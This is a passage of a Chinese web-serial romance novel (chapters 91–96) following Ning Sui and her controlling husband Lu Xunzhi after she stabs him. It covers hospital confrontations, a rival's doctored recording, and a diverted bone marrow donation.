唐桓却一愣,宁穗好像真的变了很多。 陆勋之瞥了一眼唐桓,按起挡板。 封闭的空间里,他能闻到宁穗身上沾染的微微霉味。 她一向都很爱干净,明明今天穿得很漂亮,可衣服已经满是脏污。 “为什么要刺我?”陆勋之声音干哑,似是还不能真正理解这件事,为什么发生。 “因为你该死。”宁穗的声音冰冷至极。 陆勋之气的眼尾猩红,抬手捶在车门上,“我踏马的到底做了什么,我就该死!” 第91章 就这么恨我? 宁穗紧紧闭着眼睛,腿蜷缩起来,浑身都在发抖。 她现在头疼欲裂,陆勋之稍微大点声说话,都让她觉得头快要炸了。 她声音烦躁又沙哑,透着浓浓的反感,“闭嘴。” 陆勋之抬手捏住她的脸颊,“我为什么要闭嘴,我还有——宁穗!” 他手触碰到宁穗脸颊的时候,掌心的温度吓了他一跳。 他本来就在发烧,结果宁穗的温度比他还高很多。 陆勋之赶紧按了通话按钮,通知前面的司机,“去医院,快!” 司机应声,随即唐桓焦急的声音,从扬声器传出来,“陆总,您不舒服吗?” “不是我。” 唐桓没再说话,不是他,还能是谁,肯定是宁穗了。 陆勋之强行将宁穗按进怀里,她穿的羊绒大衣,但是在冰冷的房间里冻一晚上,根本起不到保暖的作用。 怀里的人,浑身都是烫的,却一直在发抖,意识也是模糊的。 却不忘挣扎,“放开我,陆勋之,你去死……” 咒骂的话,说得含含糊糊,但清晰地钻进陆勋之的耳朵里。 他垂眸看着怀里的人,眉心拧出疙瘩,“就这么恨我?” 但宁穗没有再说话。 车子开到医院,陆勋之抱着宁穗下车,唐桓看到吓死了。 “陆总,您的伤口还没长好,这样会崩开的。”他一边小跑着跟在旁边,一边拿手虚空护着,“要不让我来抱吧。” 陆勋之一记冷眼过来,冻得唐桓一缩脖子。 这爷哪里肯让别人碰他的人。 唐桓实在没辙,快步跑进去,借了轮椅出来,陆勋之才勉强将宁穗放在轮椅上。 “陆总!”唐桓看到陆勋之的腹部,有红色从内部沁出来,“伤口崩开了,赶紧去包扎一下吧,我送太太去——” “不用。”陆勋之没顾自己的伤口,接过轮椅亲自推着宁穗去急诊。 等宁穗输上液,陆勋之才松了一口气。 唐桓都快急哭了,“您赶紧去处理下伤口吧,我让保镖在这看着。” 陆勋之冷哼一声,“我还能信你吗?居然让她在看守所冻一晚上。” 唐桓真是快呕死了,他就不该听宋姜的。 但是当时那个情况,他真的很生气。 宁穗这是要把陆勋之往死路上送。 医生可是说了,宁穗当时没悠着力气,陆勋之是差一点就救不回来的。 “我让你查的事,怎么样?”陆勋之问。 唐桓赶紧回答,“查过了。太太是因为上次小产来做复查。” 陆勋之疑惑,“只是这个?” “是的,我已经调取了太太的病历,只有小产手术记录,和复查记录。” 所以她是因为这个,才穿着病号服出现在这里? 陆勋之从唐桓手中接过手机,仔细浏览上面的电子病历。 干净完美到无可挑剔。 就像是宁穗之前的体检报告一样。 陆勋之总觉得哪里不对劲,“等她退烧之后,带她回御城,做全面的身体检查。” “是。”唐桓又说,“您去处理下伤口吧,要是您倒下了,谁来照顾太太?” 这句话说动了陆勋之,他态度松动了一下。 他转身往外走,唐桓刚想上前搀扶他。 却被陆勋之躲开,他单手捂着腹部,脚步有些虚浮。 两人刚走出病房,就看到急匆匆赶来的裴斯年。 对方看到陆勋之的时候,眼神明显犀利了几分,但没跟他说话,越过他要进入病房。 却被陆勋之抬手拦住。 两个男人不相伯仲的身高,但陆勋之的气势明显更足。 上位者的威压,盖过裴斯年。 “裴医生,我没记错的话,你是在血液内科吧?你昨天为什么会跟我太太在一起?” “太太?”裴斯年冷笑,“你有当她是你的妻子吗?她小产的时候,你在哪里?跟你的白月光办婚礼?” 裴斯年的嘲讽让陆勋之的脸色黑下来,他猛地上前,抓住对方的衣领。 可拳头挥到一半,腰部传来剧烈的痛感,让他疼弯了腰。 裴斯年轻易地推开他,慢条斯理地整理自己的衣襟,“陆勋之,你真的虚伪又贪婪。又想要完美妻子,又想要白月光。我现在很后悔,当初就不该把机会让给你。” 陆勋之弓着身子瞪着裴斯年,目眦尽裂,“她是我的,你休想染指!” 裴斯年眼底竟生出一丝怜悯,“陆勋之,她是她自己的,不是任何人的。你注定要失去她了。” 竟然连她想要什么都搞不清楚。 裴斯年看了一眼病房的方向,并没有强行进入。 他为宁穗做了万全的准备,一定会帮助她离开陆勋之。 陆勋之死死盯着裴斯年离去的背影,刚才他怜悯的表情,让陆勋之愤怒到爆炸。 “宁穗是我的……是我的!”陆勋之近乎偏执地呢喃,转身又回了病房,枯坐在宁穗的床边。 双手握住她的手,她真的好瘦好瘦。 手骨分明,好像只剩一层皮肤,柔软脆弱,好像下一秒就会碎掉。 宁穗的脸几乎没有血色。 陆勋之抬手,小心翼翼地抚上她的脸颊,滚烫的皮肤灼烧着他的指尖。 他快要化掉了。 什么都抓不住。 裴斯年的话,让他愤怒又害怕。 宁穗会离开他。 这个念头一旦升起,就很难压下去。 宁穗对他一点都没有留恋了吗? 不,他不允许。 他们两个就要这样纠缠下去。 是她先招惹他的。 “陆总,您先处理下伤口吧。”唐桓叫了医生进来。 陆勋之却没有丝毫反应,好像根本听不到他的话一样。 唐桓无声地叹了一口气,示意医生直接给他处理。 好在他没有反抗,伤口裂开的地方又重新缝合,陆勋之眉毛都没皱一下。 他似乎灵魂出窍一样,整个人就是没有生气的木偶。 “陆总,你也在发烧,需要输液。”医生劝。 但陆勋之的视线一眨不眨地盯着宁穗,完全听不到似的。 唐桓没办法,让医生就地给他扎针输液。 宁穗是在后半夜醒过来的,身上出了好几茬的汗,黏腻得难受。 她刚要起身,手腕上一个力道压着,低头一看。 昏暗的灯光落在陆勋之身上,他趴在宁穗床边,而他手上也连着输液管,脸颊是不正常的驼红。 他也病着。 宁穗面无表情地抽回自己的手,她的动作很粗鲁。 陆勋之缓缓醒来,迷茫地看了她两秒钟,抬手摸她的额头,松了口气,“终于退烧了。” 第92章 陆勋之,你是骗子! 陆勋之的声音沙哑得像是被砂纸擦过,干哑难听。 宁穗认识他这么久,还是第一次见他这样。 人都快废掉了,还在这守着她。 宁穗冷漠地收回视线,她是不会心疼一个要害死她的人。 她下床去洗手间。 陆勋之也跟着起来,拉着移动输液架要跟着她一起走。 宁穗快走几步,洗手间门倏地关上。 差点撞到陆勋之的鼻子。 陆勋之彻底清醒过来,腹部的伤口隐隐作痛,直往他骨头缝里钻。 宁穗擦洗完出来的时候,陆勋之还保持着刚才的动作,站立在门口。 手抓着输液架,垂着头,头发凌乱地垂在额间,看上去像只丧家犬。 宁穗气笑了,陆勋之真的很矛盾。 将她所有的希望全部碾碎,又在她面前装什么可怜? 她对他这种的虚伪没有一丝怜悯,绕过他又爬上床,拉过被子翻身躺下,背对着他。 身后传来轻微的声音,陆勋之似乎是又坐到她床边。 但宁穗没管。 无论现在陆勋之再做什么,她都不会再回应。 大概是因为退烧了,身体缓了过来,宁穗一觉到天亮。 睁开眼的时候,没看到陆勋之。 宁穗起身倒了杯水喝,打开手机,看到裴斯年发来的信息,【醒了吗?】 她很快回复。 随即对方发了信息过来,她惊得睁圆了眼睛,随即按照对方的吩咐,删除了信息。 就在她刚点下删除键的时候,房门被打开,陆勋之苍白到没有血色的脸呈现在面前。 宁穗吓得抖了一下,眨眨眼,不动声色地收起手机,嘟囔道,“鬼一样。” 陆勋之眼神微微颤动,开口声音还是非常沙哑,“我让医生给你做个全身检查。” 宁穗愣了愣,想到刚才裴斯年的嘱咐,她冷脸拒绝,“我不做。” 陆勋之轻叹一声,声音很温柔,“你不是来做术后检查的吗?还没做。正好顺便做个全身检查,好不好?” 明明他根本不顾自己的死活,还把她丢到看守所被人欺负,现在却这样温柔关心她。 宁穗胃里翻腾,一个人怎么能割裂成这样。 “检查完,你又想对我做什么?”宁穗冷笑地看着他,眼底的嘲讽十分刺眼。 “宁穗!”陆勋之低吼一声,随即又强行冷静下来,上前捧住宁穗的脸,“别这么对我,行吗?” 宁穗一把甩开他,“别碰我!恶心!” 陆勋之的手悬在半空,他怔怔看着自己空空的手掌心,冷不丁笑了笑,“原来不只是王习,还有裴斯年,是不是?” 陆勋之似是想到什么,“哦,还有他。”他沉沉笑出声,透着几分森然,“宁穗,你当初选我,是因为他,是不是?” 宁穗根本听不懂他说什么,她现在没有一丝耐心给陆勋之。 她起身要走,却被陆勋之握住手臂。 大手像铁钳一样,快要掐碎宁穗的骨头。 她疼得皱眉,陆勋之愣了一下,随即放松了手上的力气,但还是没有完全放开她。 陆勋之将她拉到沙发上坐下,“检查很快的,我陪着你做,好不好?” 说着,医生和护士开门进来,宁穗瞳孔微缩。 她不知道陆勋之明明抢走了她的骨髓,为什么还给她做检查是图什么? 她突然想到裴斯年的短信。 对方说,陆勋之找人去查她的病历,但裴斯年已经先一步抹掉了宁穗的检查记录。 宁穗现在来不及想这些,她本能地听从裴斯年的话。 不能让陆勋之给她做检查。 她趁着陆勋之起身去跟医生沟通的空档,猛地起身冲到窗边。 等陆勋之反应过来的时候,宁穗一条腿已经挂在外边。 “宁穗,下来!”陆勋之脸瞬间纸白。 “你别过来!”宁穗见他要过来,大吼着,整个人往窗户外探。 陆勋之吓得血液都凝固住,抬起手,轻声道,“好,我不过去,你冷静点。” “我不体检,你让他们走!”宁穗大喊,声音因愤怒而颤抖,“都走!” 陆勋之眼眶有些红,声音也发紧,“好,听你的,我让他们走。” 他看向身后那些人,大家都被吓到了,慢半拍地鱼贯而出。 房间里就剩下陆勋之和宁穗。 “你下来好不好?”陆勋之一眨不眨地盯着宁穗,生怕刺激到她,小步地往前移。 宁穗眼底一片冷漠,“你也滚。” 陆勋之的脚步一顿,“宁穗……” “滚啊!” 她的情绪非常激动,陆勋之不敢再上前,只能好好劝,“好,我滚,你先下来,我确定你安全了,立刻离开,好吗?” 宁穗眼睫颤动,态度有所松动,因为她的手快要抓不住了,冬天的风像是刀子,一下下刮她的皮肤。 “我下去,你马上滚。” “好。”陆勋之满口答应,眼睛紧紧盯着宁穗,生怕她滑下去。 宁穗犹豫了两秒,从窗台上下来。 脚趾刚落地的一瞬间,一个身影飞速冲过来,将她抱进怀里。 宁穗愣了愣,眼泪夺眶而出,“陆勋之,你是骗子!” 无论她怎么挣扎,陆勋之都不肯放手,到后来,她没了力气,整个人几乎是借着陆勋之的力气挂在他身上。 陆勋之用尽了全力,似是抱着无比珍贵的宝贝,生怕他微微松手,宁穗就会消失一样。 “放开我。”宁穗声音很轻,也很绝望。 她甚至想,是不是这辈子都逃不出陆勋之的控制。 那她宁愿死了。 陆勋之的声音沙哑颤抖,“穗穗,你恨我,我认。你打我,我也受。别伤害自己了行吗?求你了。” 他的尾音带了一丝哽咽。 刚才宁穗坐到窗台上,他的心也跟着揪起来。 他甚至不敢想,要是宁穗跳下去,他会怎么样。 “陆勋之,我已经死了,被你害死了。”宁穗冷笑,“你还在这里猫哭耗子做什么?” 男人浑身僵硬,缓缓放开宁穗,双手捧住她的脸,目光一眨不眨地攫住她的视线。 “宁穗,你到底来这是做什么?你不是说要去看妈吗?” 宁穗愣了愣,陆勋之这是什么意思? 明明是他抢走了她的骨髓,给陈总做人情。 现在这又是装什么? 宁穗脑海里闪过一个念头。 陆勋之难道不知道吗? 是宋姜? 第93章 回到那个牢笼吗? 宁穗脑子是乱的。 想到刚才裴斯年发来的信息,裴斯年让她不要承认自己生病。 以免被陆勋之再次伤害。 所以骨髓被抢走,到底是谁的手笔? 是陆勋之还是宋姜? 可又有什么区别? 最后受伤害的是宁穗。 她怔怔望着陆勋之,“是你帮陈总的女儿找的骨髓?” 陆勋之顿了一下,骨髓是宋姜帮忙找的。 但他现在本能地不想提起宋姜。 他知道宁穗不喜欢。 于是隐瞒下来,“是,我找的。” 宁穗嘴角扯出冷笑,“你就没想过,这个骨髓可能是别人的吗?” 陆勋之不明所以,“捐献者想捐给谁,是她的自由。再说,陈总对我很重要,我必须要给他做成这件事。这个世界本来就是弱肉强食。” 好一个弱肉强食。 那她呢? 就是那块弱肉吗? 宁穗心里最后那一点侥幸,也被浇灭了。 是宋姜也好,是陆勋之也罢。 这件事是谁做的根本没有区别。 她在陆勋之心里有什么分量吗? 没有。 就算陆勋之知道这个骨髓是她的,也会在权衡利弊之下,给陈总一家。 她推开陆勋之,回到床上,蒙上被子,试图跟这个世界隔离。 可陆勋之的声音隔着被子,仍旧往耳朵里钻。 “穗穗,你好好休息,下午我带你回御城。” 男人说完,顿了顿,随即脚步声远去。 宁穗缓缓扯下被子。 怔怔地望着天花板。 回御城,继续回到那个牢笼吗? …… 唐佳笑收到信息的时候,离开赶到海城,直奔裴斯年的办公室。 “穗穗现在怎么样?”唐佳笑都快急死了。 “你放心,人已经出来了。”裴斯年安慰她,“是陆勋之带出来的。” 唐佳笑骂了陆勋之十八代祖宗,气到哽咽,“他到底要折磨穗穗到什么时候!” 她想去看看宁穗,但是裴斯年拦住她,说陆勋之现在正在发疯的时候,唐佳笑去,不过是给宁穗多一份担心和负担。 唐佳笑这才勉强忍住,“可是现在骨髓没有了,穗穗的身体……” 她不敢想,宁穗错过这次骨髓移植,还有没有希望。 裴斯年的脸色也不好,“我正在想办法,我不会让宁穗出事的。我已经错过一次了。” 唐佳笑愣了愣,“裴医生,你说什么错过一次?” 男人儒雅的笑笑,“没什么。总之,我已经安排好。反正之前宁穗也是说,这件事之后,要离开这里,在外边躲藏两年,等到分居两年时间够了,就申请离婚。” 唐佳笑点头,“对,穗穗已经买好了机票,打算走了。可是没想到陆勋之会找过来。他怎么就不肯放过穗穗呢。扎他一刀都是活该。” 办公室外,护士走到裴斯年办公室门口,顿下脚步,“白医生,你怎么在这啊?院长找你呢。” 白玲不动声色地收起手机,“啊,没什么,我这就去。” 她勉强笑笑,快步离开。 在医院外,角落里,她上了一辆黑色的车,“我刚才去裴斯年那,还真让我听到点秘密。” 白玲把手机拿出来,调出录音,裴斯年和唐佳笑的声音在车厢里回荡。 坐在驾驶位的宋姜弯了弯唇,“发给我。” 白玲照做。 宋姜想了想,又在手机上操作了一番。 …… 海城,陆勋之公司办公室。 “勋哥,陈总已经启动了项目,这笔资金到位之后,我们公司就能抗住陆氏那边的压力。陆氏就算是要换掉你,他们也干不长。” 周南昭弯唇痞笑,“还是你有办法,蛇打七寸。” 陈总的命门就是他女儿的命。 解决这个问题,陈总就乖乖跟他们合作了。 这要是被三房那边先一步下手,结果就完全不同。 这一场仗,对陆勋之至关重要。 陆勋之兴致缺缺,他吩咐唐桓,“你去查查,宋姜是怎么找到那个捐献者的。” 唐桓,“是。我马上去。” 等唐桓出去,周南昭冷嗤一声,“勋哥,你不是才想起来,要怀疑你的白月光吧?” 陆勋之眉心微皱,“她不是。” “不是什么?”周南昭装傻反问,“白月光?” 陆勋之一记眼刀,周南昭笑着抬手,无力隔档。 “你别冲我瞪眼啊,我又不在乎你有没有白月光。”周南昭故意刺他,“可是嫂子是这么认为的。你之前在海城待了三个月,在这边弄咱们的公司,想跟陆氏对抗,跟陆氏解绑。但是你三个月没回家,一回去,带着怀孕的宋姜一起。是谁都会生气。” 周南昭看热闹不嫌弃事大,“这要是换做我,甜甜早拿菜刀给我净身了。嫂子对你还是太温柔。” 陆勋之一脸莫名,“宋姜的孩子跟我有什么关系。” “怎么没关系?”周南昭好笑,“宋家那么复杂,宋姜可不是小白花,我要是她,干脆做个亲子鉴定,往嫂子跟前一送。勋哥,你自己就是学医的,应该知道,双胞胎的基因可是一样的。” 陆勋之愣住,似是在思考周南昭的话。 之前他先入为主,觉得宋姜的孩子不是他的,他问心无愧。 可站在宁穗的角度,一点点风吹草动,都会撼动她对陆勋之的信任。 周南昭见他听进去了,视线打量陆勋之的腰腹,“嗯,你这一刀挨得也不亏。” 陆勋之脸色沉了沉,冷声道,“你有这么多闲工夫看短剧,学这么多狗血手段,还是太闲了。” 周南昭,“不是,我——” 房门被人推开,宋姜慌慌张张地冲进来,阻断了两人的对话。 “勋之……”宋姜的话头也跟着一顿,她看到周南昭,明显眼神有些躲闪。 周南昭明明一直笑着,但是宋姜就是莫名怕他。 尤其是上次周家的晚宴上,周南昭就差指着她鼻子说她是小三。 一点情面都不给她。 要不是最后陆勋之出面,周南昭怎么可能让她进周家的美术馆。 周南昭看到宋姜,嘴角的笑意不变,可眼神明显冷了几分。 “说。”陆勋之没什么耐心,刚才周南昭的话就像是种子一样,在他心底迅速扎根,拱得他心口难受。 宋姜噎了噎,小声嘟囔,“我能单独跟你聊几句吗?” 周南昭嗤得笑了,“小嫂子,你怎么还把我当外人呢?” 第94章 陆勋之知道宁穗计划离开 宋姜脸色倏地一红。 什么叫小嫂子,她是小三还是二房? 这明褒暗贬的称呼,也就周南昭能编出来。 陆勋之也黑了脸,他想赶走周南昭,他实在闹心。 但是一想到周南昭刚才说的话,他说宁穗在乎宋姜和孩子的存在。 那他应该避讳,再者,他也想让周南昭看看宋姜要做什么。 毕竟周南昭说宋姜不是小白花,可他从来没注意过。 在他眼里,宋姜就跟二房三房那边的弟弟妹妹没什么区别。 陌生又熟悉。 他根本不关注。 “行了,别瞎叫。你只有一个嫂子。”陆勋之冷声制止周南昭,但也没让他出去。 宋姜心里更不舒服。 所以连这么没尊严的称呼,她都不配拥有吗? 陆勋之,你就这么狠心吗? 宋姜咬了下唇,冷静下来,拿出手机递给陆勋之,“勋之,白玲不小心录到了这个,你听听吧。” “不小心?”周南昭笑了,“小嫂子,哦,不,是宋小姐的朋友,还随时随地录音?真是有当间谍的潜质。” “你!”宋姜气得胸口起伏,说又说不过,反抗又没分量,只能悻悻解释,“白玲上次做错了事,就很谨慎。这是为大家好。” “好一句为大家好,宋小姐的口才真牛掰,黑的都能说成白的。” 宋姜的眼圈倏地红了,可怜巴巴地望向陆勋之,向他求助。 可男人一眼都没看她,对周南昭给她的刁难,视而不见。 他自顾自打开录音,裴斯年和唐佳笑的声音流出来。 裴斯年,“没什么。总之,我已经安排好。反正之前宁穗也是说,这件事之后,要离开这里,在外边躲藏两年,等到分居两年时间够了,就申请离婚。” 唐佳笑,“对,穗穗已经买好了机票,打算走了。可是没想到陆勋之会找过来。他怎么就不肯放过穗穗呢。扎他一刀都是活该。” 录音播放完,再次重播。 这几句话在空荡荡的办公室内不断播放。 十分诡异。 就连一直笑呵呵的周南昭脸色都缓缓沉下来,最后从陆勋之手中拿过手机,点了暂停。 他垂眸看到陆勋之的手指在颤抖,这可不是个好兆头。 “宋小姐,这音频是真的吗?”周南昭表情第一次这么阴沉。 宋姜吓得心里颤了颤,但还是稳住了心神,“是。” 周南昭下颌紧绷又松开,“你最好说的是实话。” 话落,他叫了助理进来,当着宋姜的面,将手机递给助理,“查查这个音频的真实性。” 这是完全不相信宋姜的意思,再次打了她的脸。 宋姜咬着唇看向陆勋之,对方一直垂着眸子,看上去状态很不好,也丝毫没有关心她的意思。 她的心再次跌入谷底。 陆勋之是真的一点都不在乎她吗? 周南昭的助理回来得很快,毕恭毕敬地说:“小周总,视频没有任何剪辑,也不是AI生成。” 这倒在周南昭的意料之外。 但宋姜心里暗自庆幸,还好她早有防备。 音频当然不是合成剪辑的,只不过是她只选了其中一段而已。 周南昭冷淡地看了宋姜一眼,将手机丢还给她。 宋姜手忙脚乱地接住。 暗暗咬牙,没跟他计较,而是转向陆勋之,“勋之,宁穗居然早就想离开你,刺伤你也是毫不犹豫。” 见陆勋之的脸色越来越难看,宋姜继续添油加醋,“宁穗当时知道你给陈总找的骨髓,不想让陈总的女儿做手术,是不是想毁了你啊,她明知道陈总的合作对你来说多么重要。给你找了麻烦,你就没时间去找她了。” 周南昭怒斥,“宋姜,说够了没有!搞这么多花样不就是想上位吗?” 宋姜昂头迎上周南昭的审视,问心无愧的样子,“我从来都没有想过上位。我只是心疼勋之,我们从小一起长大,他的尊严和身体,让人这样糟践,我心里难受,看不过眼!” 周南昭气笑了,转而看向陆勋之,“勋哥,你不会被她的花言巧语骗了吧?” 陆勋之垂着眸子,看着自己的手指,声音冷漠至极,“都出去。” 周南昭一愣,随即冷不丁笑出声,深深地看了宋姜一眼,迈开步子出去。 走到角落,周南昭拨了一通电话出去。 那边很久才接,“有事?” 周南昭听到这冷淡的声音,心尖有些发酸。 他突然觉得,自己好像也没比陆勋之好多少。 他额头顶在冰冷的墙面上,声音疲惫,“甜甜,宁穗是要逃走对吗?你让我想办法拖住陆勋之,是为了帮她?” 桑甜避开了他的话题,“你还在海城?” 那就是默认了。 周南昭没辙的笑笑,“甜甜,用你老公,用得还顺手吗?” 耳边突然没了声音,周南昭拿开手机看了一眼,确认还在通话中。 又将手机放回耳边,两人就这样沉默着。 片刻后,桑甜缓慢开口,“周南昭,我们——” “不说了。”周南昭打断了她的话头,“你接下来又要说我不爱听的。” 桑甜轻叹一声,“嗯,那再见。” 周南昭气笑了,“就不能说点我爱听的?除了那两个字,你就没别的要跟我说?我就白帮你了?” 桑甜顿了一下,公事公办的语气,“那我请你吃饭。” “这还像句人话。”周南昭哼了一声,像只傲娇的猫,“我要吃你做的糯米鸡。” 还点上菜了。 桑甜没拒绝,“嗯,那等你回御城。” 两人再次沉默下来,好像两人之间一下子就没了话题。 “你以前不是这样的。”周南昭喃喃道,“以前你总有说不完的话。” 好像要把所有看到听到的事,都要分享给他。 桑甜语气淡淡的,似是对回忆过去,没什么兴趣,“你也说是以前。” …… 宁穗接到王习电话的时候,正准备去花园里散步。 保镖一路跟着她,好像她是犯人似的。 “穗穗,师父那边的事,我查到了一点线索。师父可能真的是被人害死的。” 宁穗眉心一紧,余光瞥了一眼不远处的保镖,低声说:“那等我回御城,我再联系你。我现在海城。” “好,我等你。”那头王习顿了顿,语气突然有些郑重,“穗穗,有件事,我想应该告诉你,是关于陆勋之的。” 第95章 重新开始,行吗? 陆勋之带着宁穗回了御城。 路上他一句话都没说,一直看着窗外。 宁穗也是一样,看向另一边窗户,两人后脑勺相对,像极了婚姻走到尽头的夫妻。 车子开进景园,宁穗推门下车,根本没看陆勋之一眼。 进了主卧,她直接锁上了门。 主卧最舒服,宁穗现在就是,哪里舒服就住哪儿。 陆勋之高兴也好,不高兴也罢,她完全不在乎。 晚上到了吃饭的时间,宁穗直接下楼。 餐厅里准备好了饭,她拿起碗筷直接吃,根本不理人。 陆勋之和唐桓正在客厅里聊工作的事。 见她下来,陆勋之微微摆手,“今天就到这,你也回去吧。” 唐桓起身离开,陆勋之走到宁穗跟前,拉开椅子坐下,用公筷给宁穗夹菜。 宁穗垂着眸子,冷着脸,将他夹进来的菜,直接丢在桌上。 陆勋之的手一顿,怔怔看着宁穗,对方余光都没给他一个。 宁穗快速吃完,便走出去,她也不走远,就在花园里转。 跟陆勋之在一个空间,实在窒息。 陆勋之没跟出来。 宁穗走出去没几步就看到唐桓,对方似是在专门等她。 “太太,我想跟你道歉。”唐桓上前,诚恳道,“是我误会了陆总的意思,才报警抓你。但是陆总真的被你扎得很重,那天晚上,下了两次病危通知书……” “跟我有什么关系?”宁穗冷漠地打断他的话。 唐桓一愣,眼底满满的不可置信,语气顿时有些急,“太太,你差点搅黄了陈总的手术,你知道陈总的合作,对陆总多么重要吗?” 宁穗面无表情地看着他,“我不知道,我也没兴趣。你要是继续说这种废话,那我就走了。” 唐桓简直震惊,“太太,你怎么能这样?” “我哪样?”宁穗好笑,“唐桓,以前我还挺共情你的,打工人不容易,养家糊口,做点违心的事,也没办法。但是现在我一点也不同情你,你愿意当陆勋之的狗,就当好了,不用道德绑架我。我不吃这套。” 说完,宁穗刚要转身,看到唐桓的视线不经意地看向楼上。 宁穗转头,看到二楼陆勋之的书房落地窗前,一个高大的身影落在那里。 对方背对着光线,宁穗看不清他的表情。 但他的肩膀并不像往常那样挺拔,不知道是因为腰部受伤,还是因为别的。 整个人看上去落寞萧索。 晚上的风很凉,钻进宁穗的脖子,她紧紧衣襟,淡漠地收回视线,走进别墅内,回到卧室,锁上门。 陆勋之没来过卧室,宁穗睡得也并不舒服。 死神宣判她的期限,可她不服气。 凭什么,她这么努力活着,最后是这样的结果。 而陆勋之和宋姜还能活得好好的。 梦里,她又见到陆勋之跪在她的墓碑前,哭泣得浑身颤抖。 宁穗猛地醒来,大口喘着粗气。 窗外刚蒙蒙亮,宁穗却睡不着了。 她身上全是冷汗,黏腻得厉害,她起床洗了澡换了衣服,想给王习发信息。 他说师父的事,有了着落。 宁穗想,就算自己没机会活了,要是能查出师父的死因,将来在另一个世界见到师父,她也还算有脸。 而且,她不能等着死,那种感觉太糟糕。 她要找点事做。 编辑了半天,宁穗看了一眼才五点多,还是删掉了所有。 可对方突然回了信息过来,【穗穗,在吗?】 宁穗愣了愣,回复道,【师兄,我回御城了,今天能见吗?】 王习,【好,十点,在我公司附近的咖啡馆,可以吗?】 【可以,十点见。】 宁穗躺回床上,就这么望着天花板,愣愣的,像是没有生气的娃娃。 等死的感觉,真难受啊。 宁穗吸了吸鼻子,她干脆过上羽绒服,到楼下花园里遛弯。 她活动着手臂,走了几步,发现花园里的一个小花池改造了。 之前她不小心碰到过腿,现在改造完,明显躲开了她的行动路线。 宁穗怔了几秒,鬼使神差地抬头看向陆勋之的书房,瞬间愣住。 对方正站在落地窗前,正好也看着她。 目光相撞,宁穗甚至生出一股错觉,之前她每次在楼下锻炼,陆勋之都是这么看着她吗? 不然花园里的构造,怎么会这么巧总是改变,来方便她? 陆勋之淡淡垂眸看了她几分钟,转身离开落地窗。 宁穗冷淡地收回视线,转身继续在花园里转。 身后传来脚步声,下一秒,头上顿时暖了起来。 羊绒帽子包裹住她的头,很柔软舒适。 宁穗停住步子,陆勋之绕到她前面,垂着眸子,将她的手,从口袋里拿出来,给她戴上手套。 手也跟着暖起来。 宁穗缓缓抬眼看向陆勋之,他倒是什么都没戴,耳朵尖微微泛红。 手套戴好,陆勋之却没有松开她的手,隔着手套,宁穗也能感受到他的手温。 烫的有些异常。 他好像在发烧。 宁穗下意识地看向他的腹部,隔着毛衫,并看不出什么异样。 “什么时候开始打算离开的?”陆勋之冷不丁问出口,缓缓抬起眼皮,视线凝住她,一眨不眨的,不肯错过她任何一个表情。 宁穗眼底闪过一丝惊讶,但随即释然。 陆勋之都能抢走她的骨髓,知道她打算逃走的事,也并不奇怪。 宁穗不动声色地抽回手,陆勋之的掌心一空,他的心也跟着空了一大块。 “从一开始,我说要离婚,就是认真的,是你自以为是,认为我是离不开你,在欲擒故纵。” 宁穗看着自己的手,手套和帽子都是淡淡的蓝色,让枯冷的初冬,有了一丝亮。 是她喜欢的品牌,但不是她用过的,是全新的。 很舒服,很暖和,宁穗没脱下来,她不是珍惜陆勋之送的东西。 是她不想跟自己的身体过不去。 说完这句话,宁穗转身要走,手腕上一紧,男人滚烫的胸膛贴在她的羽绒服上,“宁穗,不管你因为什么,你扎了我一刀,也该一笔勾销了。重新开始,行吗?” 第96章 我会让你看到我的决心 宁穗愣了一下,随即颤抖着肩膀笑了起来。 眼角都笑出滚烫的热泪,她微微转头看向他。 扬起的眸子湿漉漉的,生动又残忍,“陆勋之,你欠我这么多,怎么一笔勾销?” 陆勋之喉头发紧,声音压抑沙哑,“那你说,怎么才能?” 宁穗抬手捏住他的衬衣领角,缓缓收起嘴角的笑意,丝毫没有犹豫,“把你的命给我。我就考虑一下。” 看到陆勋之的瞳孔缩了一下,宁穗特别痛快。 他这样自私的人,怎么可能会为她付出生命呢? 趁着他怔愣的空挡,宁穗转身回了别墅内。 跟王习约定的时间差不多了,宁穗准备出门。 陆勋之就坐在客厅,宁穗扫了他一眼要出门。 “你去哪儿?”陆勋之冷声叫住她。 宁穗顿住脚步,“去见朋友。” “朋友。”陆勋之哼笑一声,“什么朋友?王习还是裴斯年?还是说,你又交了新的男性朋友。” 宁穗全然不在意他的阴阳怪气,不想解释,但是她不想给王习招惹麻烦。 “我约了桑甜,谈巡展的事。” 陆勋之微顿,倏地看向她,眼底的嫉妒,瞬间散了,眼睫轻轻颤动,“只是去见桑甜?” “还有王习。”宁穗坦诚道,“唐佳笑也会在。” 听到后两个人,陆勋之的嘴角抿成直线,他可记得,上次宁穗见王习的时候,两人手拉在一起的场景。 陆勋之顿了顿,“不能开线上会议?” 宁穗扯唇冷笑,一边说要跟她一笔勾销,一边又控制欲这么强,连她见桑甜都不行。 “知道了。”宁穗冷淡回应,转身要往回走。 可她嘲讽的笑意,和冷淡的回应,让陆勋之心里很不舒服。 她生气了,这是陆勋之脑海里第一时间冒出来的想法。 他猛地抓住宁穗的手,宁穗被烫得皱了眉,“你在发烧?” 离得近了,她才发现,陆勋之的脸色也不正常,红得有些奇怪。 陆勋之眼中闪过一丝愉悦,“你关心我?” 宁穗嫌恶地甩开他的手,“你想多了。” 陆勋之勾起的嘴角僵硬了一瞬,随即无奈地笑笑,他撤步跌坐回沙发上,垂着眸子,了无生气。 “你去吧。” 宁穗以为自己听错了,“你说什么?” “你想去哪儿就去哪儿,只要你还回来。”陆勋之缓缓看向她,“穗穗,我说了我想重新开始,我会让你看到我的决心。” 宁穗冷不丁笑出声,决心? 把她逼到绝路上,再对她付出真心? 简直可笑。 宁穗没空跟陆勋之在这表演深情,既然对方同意,她转身就走。 看着宁穗无情地丢下他离开,陆勋之头开始昏沉,手机响起,是唐桓打来的电话。 陆勋之缓慢接通,有气无力,“说。” 唐桓的声音有些紧张,“陆总,我查到方娟来历,原来她之前已经答应了一场捐献手术,是宋姜出高价抢过来给陈总的。” 对这样的结果,陆勋之并不意外,富贵险中求,这样的道理,对于宋姜那样的出身,自然深谙其道。 “然后呢?”陆勋之闭上眼睛,淡淡问。 唐桓似是在斟酌语句,慢吞吞地说:“宋姜当初找了好几个供体,最好确定方娟,那个骨髓本来是给……” 陆勋之倏地睁圆了眼睛。 …… 宁穗到的时候,王习和唐佳笑正在跟桑甜说巡展的事。 这件事她已经委托给他们俩,所以她今天出来,根本不是谈这个的。 是要跟王习说师父的事。 桑甜见到宁穗的样子,有些担忧,“几天没见,你怎么又瘦了?” 